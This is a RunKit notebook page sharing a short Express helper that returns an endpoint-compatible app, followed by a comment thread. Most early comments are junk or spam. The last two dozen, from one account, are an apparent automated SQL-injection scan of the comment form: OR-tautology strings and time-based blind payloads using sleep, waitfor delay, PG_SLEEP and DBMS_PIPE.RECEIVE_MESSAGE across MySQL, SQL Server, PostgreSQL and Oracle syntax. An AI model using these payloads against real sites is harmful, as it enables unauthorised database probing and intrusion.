Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Endpoint with Express

node v4.9.1
version: 1.0.0
endpointsharetweet
var express = require("express"); function runkitExpress(anExport) { var mount = express(); var app = express(); // "mount" is our root app, and it mounts "app" at your notebook path // which is available in the RUNKIT_MOUNT_PATH environment variable mount.use(process.env.RUNKIT_MOUNT_PATH || "", app); if (anExport) { anExport.endpoint = mount; } // overwrite .listen since it is not needed app.listen = function(){} // return the express instance for use by the caller return app; } module.exports = runkitExpress
Use this helper to quickly return a RunKit Endpoint compatible express app, in place of calling express directly. Here's an example use: https://runkit.com/runkit/express-endpoint-demo.
Loading…

39 comments

  • posted 8 years ago by araid-en10
    Yup yo suck
  • posted 8 years ago by romeo27091985
    { "error": "invalid_server", "message": "The requested document does not export an 'endpoint' function. Read more about endpoint: https://runkit.com/docs/endpoint" }
  • posted 7 years ago by bradles
    I
  • posted 6 years ago by kraze-ninja
    module.exports = runkitExpress
  • posted 5 years ago by randomstand
    Whhatshuldido
  • posted 4 years ago by 5efd616b2111c6001af08cce
    I just sat down to eat after a long day.
  • posted 4 years ago by ronald1113
    npm login --registry=https://npm.pkg.github.com/
  • posted 4 years ago by jettrey13
    EndpEndpont 16057282075 & 16058463190
  • posted 3 years ago by ggoldselleruk
    Use this helper to quickly return a RunKit Endpoint compatible express app, in place of calling express directly. Here's an example use: https://runkit.com/runkit/express-endpoint-demo.
  • posted 3 years ago by kensonleung
    runkit
  • posted 2 years ago by 1luimoll6
    npm i make-fetch-happen@NicoleLópez, @IlizalitLópez O.Q&Q_Q_HalluKotTîīmëHœy
  • posted a year ago by imowmoo
    🥱
  • posted a year ago by shamssami
    Ok
  • posted 2 months ago by opvansota
    https://ihraanyvenr6.runkit.sh
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    1
  • posted 3 days ago by xsjybldb
    -1 OR 2+893-893-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1 OR 2+944-944-1=0+0+0+1
  • posted 3 days ago by xsjybldb
    -1' OR 2+122-122-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    -1' OR 2+857-857-1=0+0+0+1 or 'FWjDfvU5'='
  • posted 3 days ago by xsjybldb
    -1" OR 2+125-125-1=0+0+0+1 --
  • posted 3 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 3 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 3 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 3 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 3 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    VUeAYOpK'; waitfor delay '0:0:15' --
  • posted 3 days ago by xsjybldb
    -5 OR 838=(SELECT 838 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -5) OR 915=(SELECT 915 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    -1)) OR 812=(SELECT 812 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    x2dHzOjv' OR 316=(SELECT 316 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    UuiShbZe') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    3k6iFB8m')) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
  • posted 3 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 3 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 3 days ago by xsjybldb
    1'"
  • posted 3 days ago by xsjybldb
    @@Cff23

sign in to comment